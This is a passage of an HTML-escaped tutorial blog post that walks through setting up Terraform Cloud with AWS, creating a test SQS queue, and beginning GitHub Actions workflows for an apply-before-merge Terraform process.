style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek-infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_root_account_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"888888888888\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e login\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand you should see:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eTerraform has been successfully initialized!\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow lets run our plan:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ terraform plan\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eYou should see a result:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ePlan: 10 to add, 0 to change, 0 to destroy.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eApply it to make those resources:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ terraform apply\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAt this point it:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCreated a terraform cloud organization\u003c/li\u003e\n\u003cli\u003eCreated a terraform cloud workspace\u003c/li\u003e\n\u003cli\u003eCreated a git repository\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eVerify TFC can talk to AWS\u003c/h1\u003e\n\u003cp\u003eTo verify that TFC can communicate with AWS through the dynamic credentials,\nlets clone the \u003cem\u003eNEW\u003c/em\u003e repository we just generated and make some dummy resources. After\nyou have cloned the repository lets make a folder for the workspace \u003ccode\u003eroot\u003c/code\u003e that we\ndefined in bootstrap:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e mkdir\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cd\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow create a \u003ccode\u003e1-providers.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e cloud\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e workspaces\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e required_providers\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"0.42.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e region\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e default_tags\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tags\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Owner \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Env \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Service \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"BusinessOperations\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: You should replace \u003ccode\u003eorganization\u003c/code\u003e, \u003ccode\u003eworkspaces.name\u003c/code\u003e, and\n\u003ccode\u003etags.Owner\u003c/code\u003e to be your own values.\u003c/p\u003e\n\u003cp\u003eNow create a small resource to prove everything is working, we will use SQS for\nthis. Create a file called \u003ccode\u003e2-sqs.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_sqs_queue\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"example-sqs\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"example-sqs\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e message_retention_seconds\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 86400\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e receive_wait_time_seconds\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIf you run the plan you should see the resource it wants to create:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e init\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand you should see the run is executing in terraform cloud:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eRunning plan in Terraform Cloud. Output will stream here. Pressing Ctrl-C\nwill stop streaming the logs, but will not stop the plan running remotely.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eYou can click the link it provides to see the logs. Now lets apply this\nresource to see it all working:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ terraform apply\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eYou should get a response like:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo Terraform Cloud has full access to create AWS resources! The final step\nis to get github running the plan/apply on pull requests. Commit these files\nto your repository and we will remove them in a pull request. Create a\n\u003ccode\u003e.gitignore\u003c/code\u003e file in the root:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e.terraform*\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eand commit all the files:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e add\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e commit\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"initial infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e push\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e origin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e head\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eGithub Actions\u003c/h1\u003e\n\u003cp\u003eThe two most popular workflows when using terraform are:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply after Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://terraform.io\"\u003eterraform cloud\u003c/a\u003e and most github actions.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply before Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://www.runatlantis.io/\"\u003eAtlantis\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI do not like apply-after-merge. There are a lot of ways where a \u003ccode\u003eplan\u003c/code\u003e\ncan succeed but an \u003ccode\u003eapply\u003c/code\u003e will fail and you end up with broken configuration\nin \u003ccode\u003emain\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSo in this article I will show you how to implement \u003cstrong\u003eapply-before-merge\u003c/strong\u003e with\ngithub actions.\u003c/p\u003e\n\u003cp\u003eAll of these changes will be in the \u003ccode\u003einfra\u003c/code\u003e repository that was generated from\n\u003ccode\u003ebootstrap\u003c/code\u003e. We are done with the bootstrap at this point.\u003c/p\u003e\n\u003cp\u003eFirst, lets setup the \u003ccode\u003e.github\u003c/code\u003e folder, the end result we want is:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e.github/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e└──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e workflows\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ├──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e on-apply-finished.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ├──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e on-pull-request-labeled.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e └──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e on-pull-request.yml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo create the folders:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e mkdir\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .github/workflows\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eOn Pull Request\u003c/h1\u003e\n\u003cp\u003eThe first flow we will create is the \u003ccode\u003eterraform plan\u003c/code\u003e workflow which should be\nran whenever a pull request is opened. Create the file\n\u003ccode\u003e.github/workflows/on-pull-request.yml\u003c/code\u003e and put this content in it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_build\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e branches\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003emain\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e TERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e GITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_validate\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCheckout\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eterraform validate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-validate@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_fmt\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eterraform fmt\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan 